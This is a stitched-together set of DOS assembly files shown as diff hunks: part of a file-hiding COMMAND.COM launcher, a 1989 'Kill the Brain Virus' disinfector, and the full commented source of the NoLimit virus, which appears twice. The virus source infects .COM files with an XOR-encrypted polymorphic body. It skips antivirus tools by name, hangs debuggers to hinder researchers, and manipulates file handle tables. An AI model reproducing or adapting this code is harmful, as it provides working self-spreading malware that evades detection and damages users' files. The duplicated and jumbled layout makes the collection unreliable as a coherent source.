ScanParam: Lodsb ; SUBROUTINE: Get byte
Cmp AL, 13 ; See if end of parameter
Je ErrorExit ; If so, exit
Mov DI, Offset Delimiters ; Check if delimiter
Mov CX, 5 ; There are 5 of them
Repne Scasb ; Scan the string
Ret ; And return
DosVersOK: Mov DX, Offset SyntaxMsg ; Possible error msg
Mov SI, 1+Offset Parameter ; NO Parameter string
Cld ; Directions forward
BegSearch: Call ScanParam ; Check byte in subroutine
Je BegSearch ; If delimiter, keep searching
Mov BX, SI ; Save pointer in BX
Dec BX ; BX points to NO file spec
EndSearch: Call ScanParam ; Check byte in subroutine
Jne EndSearch ; If not delimiter, keep going
; Construct full FilePath and save down at end of program
; -------------------------------------------------------
Dec SI ; Points after NO file spec
Xchg SI, BX ; SI points to beg, BX to end
Mov DI, Offset FullPath ; Points to destination
Cmp Byte Ptr [SI + 1], ':' ; See if drive spec included
Jnz GetDrive ; If not, must get the drive
Lodsw ; Otherwise, grab drive spec
And AL, 0DFh ; Capitalize drive letter
Jmp Short SaveDrive ; And skip next section
GetDrive: Mov AH, 19h ; Get current drive
Int 21h ; through DOS
Add AL, 'A' ; Convert to letter
Mov AH, ':' ; Colon after drive letter
SaveDrive: Stosw ; Save drive spec and colon
Mov AL, '\' ; Directory divider byte
Cmp [SI], AL ; See if spec starts at root
Jz HaveFullPath ; If so, no need to get path
Stosb ; Store that character
Push SI ; Save pointer to parameter
Mov SI, DI ; Destination of current path
Mov DL, [SI - 3] ; Drive letter specification
Sub DL, '@' ; Convert to number
Mov AH, 47h ; Get current directory
Int 21h ; through DOS
Mov DX, Offset FileSpecMsg ; Possible error message
Jc ErrorExit ; Exit if error
Sub AL, AL ; Search for terminating zero
Cmp [SI], AL ; Check if Root Directory
Jz RootDir ; If so, don't use it
Mov CX, 64 ; Number of bytes to search
Repnz Scasb ; Do the search
Dec DI ; DI points to last zero
Mov AL, '\' ; Put a backslash in there
Stosb ; So filespec can follow
RootDir: Pop SI ; Get back SI
HaveFullPath: Mov CX, BX ; End of NO file spec
Sub CX, SI ; Number of bytes to transfer
Rep Movsb ; Transfer them
Sub AL, AL ; Terminating zero
Stosb ; Save it
Mov [FileList], DI ; Repository for found files
; Fix up parameter and ParamBlock for eventual COMMAND load
; ---------------------------------------------------------
Sub BX, 4 ; Points to new param begin
Mov AL, [Parameter] ; Old byte count of parameter
Add AL, 80h ; Add beginning of old param
Sub AL, BL ; Subtract beginning of new
Mov AH, ' ' ; Space separator
Mov Word Ptr [BX], AX ; Store it
Mov Word Ptr [BX + 2], 'C/' ; Add /C to beginning of rest
Mov AX, [Environment] ; Get environment segment
Mov [ParamBlock], AX ; Save it
Mov [ParamBlock + 2], BX ; Save parameter pointer
Mov [ParamBlock + 4], CS ; Save segment of ParamBlock
Mov [ParamBlock + 8], CS
Mov [ParamBlock + 10], CS
; Find Files from NO File Specification
; -------------------------------------
Mov DX, Offset DTABuffer ; Set File Find buffer
Mov AH, 1Ah ; by calling DOS
Int 21h
Mov DI, [FileList] ; Address of destination
Mov DX, Offset FullPath ; Search string
Sub CX, CX ; Search Normal files only
Mov AH, 4Eh ; Find first file
FindFile: Int 21h ; Call DOS to find file
Jnc Continue ; If no error continue
Cmp AX, 18 ; If no more files
Jz NoMoreFiles ; get out of the loop
Mov DX, Offset FileSpecMsg ; Error message otherwise
Jmp ErrorExit ; Exit and print message
Continue: Mov AX, DI ; Address of destination
Add AX, 512 ; See if near top of segment
Jc TooManyFiles ; If so, too many files
Cmp AX, SP ; See if getting too many
Jb StillOK ; If not, continue
TooManyFiles: Mov DX, Offset TooManyMsg ; Otherwise error message
Jmp ErrorExit ; And terminate
StillOK: Mov SI, 30+Offset DTABuffer ; Points to filename
Call AsciizTransfer ; Transfer it to list
Inc [FileCount] ; Kick up counter
Mov AH, 4Fh ; Find next file
Jmp FindFile ; By looping around
NoMoreFiles: Mov [FileListEnd], DI ; Points after last file
Mov DI, [FileList] ; Points to end of find string
Mov CX, 64 ; Search up to 64 bytes
Mov AL, '\' ; For the backslash
Std ; Search backwards
Repnz Scasb ; Do the search
Mov Byte Ptr [DI + 2], 0 ; Stick zero in there
Cld ; Fix up direction flag
; Stop Ctrl-Break Exits and Hide the files
; ----------------------------------------
Mov AX,3300h ; Get Break State
Int 21h ; By calling DOS
Mov [BreakState],DL ; Save it
Sub DL,DL ; Set it to OFF
Mov AX,3301h ; Set Break State
Int 21h ; By calling DOS
Mov BL, 0FFh ; Value to AND attribute
Mov BH, 02h ; Value to OR attribute
Call ChangeFileMode ; Hide all the files
; Un-allocate rest of memory
; --------------------------
Mov BX, [FileListEnd] ; Beyond this we don't need
Add BX, 512 ; Allow 512 bytes for stack
Mov SP, BX ; Set new stack pointer
Add BX, 15 ; Prepare for truncation
Mov CL,4 ; Prepare for shift
Shr BX,CL ; Convert to segment form
Mov AH,4Ah ; Shrink allocated memory
Int 21h ; By calling DOS
Mov DX,Offset MemAllocMsg ; Possible Error Message
Jc ErrorExit2 ; Print it and terminate
; Search for Comspec in Environment
; ---------------------------------
Push ES ; We'll be changing this
Mov ES, [Environment] ; Set ES to Environment
Sub DI, DI ; Start at the beginning
Mov SI, Offset ComSpec ; String to search for
Mov DX, Offset CommandMsg ; Possible error message
TryThis: Cmp Byte Ptr ES:[DI], 0 ; See if points to zero
Jz ErrorExit2 ; If so, we can't go on
Push SI ; Temporarily save these
Push DI
Mov CX, 8 ; Search string has 8 chars
Repz Cmpsb ; Do the string compare
Pop DI ; Get back the registers
Pop SI
Jz LoadCommand ; If equals, we've found it
Sub AL, AL ; Otherwise search for zero
Mov CX, -1 ; For 'infinite' bytes
Repnz Scasb ; Do the search
Jmp TryThis ; And try the next string
; Load COMMAND.COM
; -----------------
LoadCommand: Add DI, 8 ; so points after 'COMSPEC='
Push DS ; Switch DS and ES registers
Push ES
Pop DS
Pop ES
Mov [StackPointer],SP ; Save Stack Pointer
Mov DX, DI ; DS:DX = Asciiz of COMMAND
Mov BX, Offset ParamBlock ; ES:BX = parameter block
Mov AX, 4B00h ; EXEC function call
Int 21h ; Load command processor
; Return from COMMAND.COM
; -----------------------
Mov AX, CS ; Current code segment
Mov DS, AX ; Reset DS to this segment
Mov ES, AX ; Reset ES to this segment
Mov SS, AX ; Reset stack segment to it
Mov SP, [StackPointer] ; Reset SP
Pushf ; Save error flag
Sub DL,DL ; Set Ctrl Break to OFF
Mov AX,3301h
Int 21h ; By calling DOS
Popf ; Get back error flag
Mov DX,Offset CommandMsg ; Set up possible error msg
Jnc Terminate ; And print if EXEC error
; Unhide the Files, restore Ctrl-Break state, and exit
; ----------------------------------------------------
ErrorExit2: Mov AH,9 ; Will print the string
Int 21h ; Print it
Terminate: Mov BL, 0FDh ; AND value for change
Mov BH, 00h ; OR value for change
Call ChangeFileMode ; Change file attributes
Mov DL,[BreakState] ; Original break-state
Mov AX,3301h ; Change the break-state
Int 21h ; by calling DOS
Int 20h ; Terminate
; SUBROUTINE: Change File Mode (All files, BL = AND, BH = OR)
; -----------------------------------------------------------
ChangeFileMode: Mov CX, [FileCount] ; Number of files
Jcxz EndOfChange ; If no files, do nothing
Mov SI, [FileList] ; Beginning of list
Mov DX, [FileListEnd] ; End of List
ChangeLoop: Push SI ; Save pointer
Mov SI, Offset FullPath ; Preceeding path string
Mov DI, DX ; Destination of full name
Call AsciizTransfer ; Transfer it
Dec DI ; Back up to end zero
Pop SI ; Get back pointer to filename
Call AsciizTransfer ; Transfer it
Push CX ; Save the counter
Mov AX, 4300h ; Get attribute
Int 21h ; by calling DOS
And CL, BL ; AND with BL
Or CL, BH ; OR with BH
Mov AX, 4301h ; Now set attribute
Int 21h ; by calling DOS
Pop CX ; Get back counter
Loop ChangeLoop ; And do it again if necessary
EndOfChange: Ret ; End of subroutine
; SUBROUTINE: Asciiz String Transfer (SI, DI in, returned incremented)
; --------------------------------------------------------------------
AsciizTransfer: Movsb ; Transfer Byte
Cmp Byte Ptr [DI - 1], 0 ; See if it was end
Jnz AsciizTransfer ; If not, loop
Ret ; Or leave subroutine
; Variable length data stored at end
; ----------------------------------
DTABuffer Label Byte ; For file find calls
FullPath equ DTABuffer + 43 ; For file path and names
CSEG EndS ; End of the segment
End Entry ; Denotes entry point

@@ -0,0 +1,331 @@
; Date : 27-1-1989
; Ver : 1.04
; Program : Kill the Brain Virus
Cseg Segment Para Public 'MyCode'
Assume cs:Cseg,ds:Cseg
Org 100h
Start: Mov dx,offset CRight ;print copyright notice
Call DispStr
Mov ah,19h ;get current drive
Int 21h
Mov Drive,al ;save it
Call GetDrive ;Get drive if possible
Jc Exit
Call ChVirus ;virus present?
Jc Exit ;exit if not
Call FindBoot ;Find correct boot sector
Mov dx,offset VirusKill
Call DispStr
Call ReadFats ;Read the FAT tables
Jc Exit
Call CheckBad
Exit: Mov ax,4C00h
Int 21h
FindBoot Proc
Mov dl,[si+6]
Mov ax,18 ;9 sectors/track * 2 sides
Mov cl,[si+8]
Mul cl
Or dl,dl
Jz Fb1
Add ax,10 ;Move to the next side
Fb1: Mov dx,ax ;read this sector
Mov cx,1 ;Read one sector
Mov bx,offset PrgEnd ;Read it here
Mov al,Drive ;Get drive number
Int 25h ;Read interrupt
Jnc Fb2
Add sp,2
Mov dx,offset MesOh1
Call DispStr
Stc
Ret
Fb2: Add sp,2
Xor dx,dx ;Write at boot
Mov cx,1 ;Write one sector
Mov bx,offset PrgEnd ;Write from here
Mov al,Drive ;Get drive number
Int 26h ;Write interrupt
Jnc Fb3
Add sp,2
Mov dx,offset MesOh2 ;Print message
Call DispStr
Stc
Ret
Fb3: Add sp,2
Clc
Ret
FindBoot Endp
PointTo Proc
Push bx
Mov dx,ax
Add ax,ax
Add ax,dx
Mov dx,ax
Shr ax,1 ;Cluster * 1.5
Mov bx,offset PrgEnd
Add bx,ax
Mov ax,ds:[bx] ;Get entry
Test dx,1
Jnz Point1
And ax,0FFFh
Jmp short Point0
Point1: Shr ax,1
Shr ax,1
Shr ax,1
Shr ax,1
Point0: Pop bx
Ret
PointTo Endp
ReadFats Proc
Mov bx,offset PrgEnd
Mov al,Drive
Mov cx,4 ;read FAT1 and FAT2
Mov dx,1 ;FAT sectors
Int 25h ;Read FAT tables
Jnc Rf1
Add sp,2
Mov dx,offset FatError
Call DispStr
Stc
Ret
Rf1: Add sp,2
Clc
Ret
ReadFats Endp
CheckBad Proc
Call FindBad ;Find real boot sector
Call WriteFats
Exit1: Ret
CheckBad Endp
FindBad Proc
Mov cx,354 ;Check 354 clusters
Mov ax,2 ;start with cluster 2
Mov bx,ax
FM: Call PointTo ;Find where it points
Cmp ax,0FF7h ;Is it bad?
Jz ChkBd ;Check if realy bad
FindMore1: Inc bx
Mov ax,bx
Loop FM
Ret
ChkBd: Push ax
Call CheckCluster ;bx=cluster number, try to read
Pop ax
Jmp short FindMore1
FindBad Endp
WriteFats Proc
Mov bx,offset PrgEnd
Mov al,Drive
Mov cx,4 ;FAT1 and FAT2
Mov dx,1 ;Start of FAT sectors
Int 26h ;Write FAT tables
Jnc Wf1 ;Jump if not fail
Add sp,2
Mov dx,offset MesOh3 ;Write error
Call DispStr
Stc
Ret
Wf1: Add sp,2
Clc
Ret
WriteFats Endp
CheckCluster Proc
Push bx
Push cx
Sub bx,2
Sal bx,1
Add bx,12 ;bx=sector number
Mov dx,bx ;sector
Mov cx,2 ;2 sectors
Mov bx,offset PrgEnd+205
Mov al,Drive
Int 25h ;Read sectors
Jnc QRc1
Add sp,2
Mov al,2 ;err 2=try more
Pop cx
Pop bx
Ret
QRc1: Add sp,2
Pop cx
Pop bx ;Mark cluster bx as not bad
Mov ax,bx
Push bx
Mov dx,ax
Add ax,ax
Add ax,dx
Mov dx,ax
Shr ax,1 ;Cluster * 1.5
Mov bx,offset PrgEnd
Add bx,ax
Mov ax,ds:[bx] ;Get entry
Test dx,1
Jnz QPo1
And ax,0F000h
Jmp short QPo2
QPo1: And ax,000Fh
QPo2: Mov ds:[bx],ax ;Write entry to FAT1
Mov ds:[bx+1024],ax ;Write entry to FAT2
Pop bx
Ret
CheckCluster Endp
ChVirus Proc
Call ReadBoot ;Read the boot sector
Jnc ChVirus1
Ret
ChVirus1: Mov si,offset PrgEnd
Mov dx,offset MesBad ;Assume bad news
Cmp word ptr [si+4],1234h
Jz InThere
Mov dx,offset MesGood ;Assume all OK
Mov di,436 ;Vector of interrupt 13h
Push es
Xor ax,ax
Mov es,ax
Mov ax,es:[di+2] ;get segment of the interrupt
Pop es
Cmp ax,0C800h
Jb InThere
Mov dx,offset MesBad1 ;active now!
Call DispStr
Mov bx,offset PrgEnd
Mov ah,2 ;Read
Mov al,1 ;1 sector
Mov dl,Drive
Xor dh,dh ;head number
Xor ch,ch ;track number
Mov cl,1 ;sector 1
Int 6Dh ;Virus uses interrupt 6Dh
Mov si,offset PrgEnd
Mov dx,offset MesBad
Cmp word ptr [si+4],1234h
Jz InThere1
Mov dx,offset MesGood
Call DispStr
Stc ;No need to do more.
Ret
InThere: Call DispStr
Clc ;Do more
Ret
InThere1: Call DispStr ;write bad news
Mov dx,offset MesBad2 ;No lasting effect
Jmp short InThere
ChVirus Endp
ReadBoot Proc
Mov bx,offset PrgEnd ;Put it here
Mov al,Drive ;Drive to use
Mov cx,1 ;One sector
Xor dx,dx ;Boot sector
Int 25h ;Read it
Jnc P0
Add sp,2
Mov dx,offset MesBoot
Cmp ah,80h ;Time-out?
Jz P1
Mov dx,offset MesBoot1
P1: Call DispStr
Stc ;Error
Ret ;Go
P0: Add sp,2
Clc ;No error
Ret ;Go
ReadBoot Endp
GetDrive Proc
Mov si,80h
Mov cl,[si] ;Get length of command tail
Xor ch,ch
Or cx,cx
Jnz Lab1
Cmp byte ptr Drive,2
Jae DriveError1
Clc
Ret
Lab1: Add si,cx
Inc si
Mov byte ptr [si],0 ;Command ends with 0
Mov si,81h
Cld
SpOut: Lodsb
Cmp al,32
Jz SpOut ;Skip blanks
Or al,al
Jnz Stan1
Ret
Stan1: Lodsb
Or al,al
Jnz Check1
Ret
Check1: Cmp al,':'
Jnz Stan1
Cmp si,84h
DriveCheck: Jb DriveError
Mov al,[si-2]
And al,223 ;Convert to upper case
Cmp al,'A'
Jb DriveError1
Cmp al,'B'
Ja DriveError1
Sub al,65 ;Convert drive to 0 or 1
Mov Drive,al
Clc
Ret
DriveError: Mov dx,offset Err8 ;Drive expected
Call DispStr
Stc
Ret
DriveError1: Mov dx,offset Err9 ;Invalid drive
Call DispStr
Stc
Ret
GetDrive Endp
DispStr Proc
Mov ah,9
Int 21h
Ret
DispStr Endp
CRight db 13,10
db 'Kill the <Brain> virus Ver 1.04, 27-1-1989',13,10
db '(C) Fragakis Stelios 1988,1989',13,10,13,10,'$'
Err8 db 'Error 8 : Drive expected.$'
Err9 db 'Error 9 : Invalid drive specified. Must be A or B.$'
MesBoot db 13,10
db 'Program execution aborted. Door open?',13,10,'$'
MesBoot1 db 13,10
db 'I can not read the boot sector.',13,10
db 'Disk can not contain the virus <Brain>.',13,10,'$'
FatError db 13,10
db 'Sorry, I can not read the FAT tables.',13,10
db 'FAT corrections not written to disk.',13,10,'$'
VirusKill db 'Virus <Brain> was successfully killed.',13,10,'$'
MesOh1 db 'DISK ERROR : I can not read the correct boot sector.'
db 13,10,'$'
MesOh2 db 'Failed to write correct boot sector in boot area.'
db 13,10,'$'
MesOh3 db 'Failed to write FAT tables. Corrections lost.'
db 13,10,'$'
MesGood db 'Good News : The disk is not <Brain> contaminated.'
db 13,10,'$'
MesBad db 'Bad News : The disk is <Brain> contaminated.'
db 13,10,'$'
MesBad1 db '* WARNING *',13,10
db 'Virus <Brain> is active right now !',13,10,'$'
MesBad2 db 13,10
db 'Remove the disk after the virus is killed',13,10
db 'to avoid the risk of contamination.',13,10,13,10,'$'
Count db 0 ;Count 0..58
Drive db 0 ;Current drive
PrgEnd:
Cseg Ends
End Start

@@ -0,0 +1,266 @@
;
; NoLimit Virus by John Tardy / TridenT
;
; Limited version of Servant Virus
Version Equ 1 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
Db '[NoLimit] John Tardy / Trident '
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ah,B Ds:[046ch] ;
Mov Ds,Cs ; If Ah is zero, goto
Cmp Ah,0 ; EncryptIt
Je EncryptIt ;
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
Test Ah,4 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Xchg Ah,Al ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
EndOfVir Equ $
@@ -0,0 +1,266 @@
;
; NoLimit Virus by John Tardy / TridenT
;
; Limited version of Servant Virus
Version Equ 1 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
Db '[NoLimit] John Tardy / Trident '
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ah,B Ds:[046ch] ;
Mov Ds,Cs ; If Ah is zero, goto
Cmp Ah,0 ; EncryptIt
Je EncryptIt ;
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
Test Ah,4 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Xchg Ah,Al ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
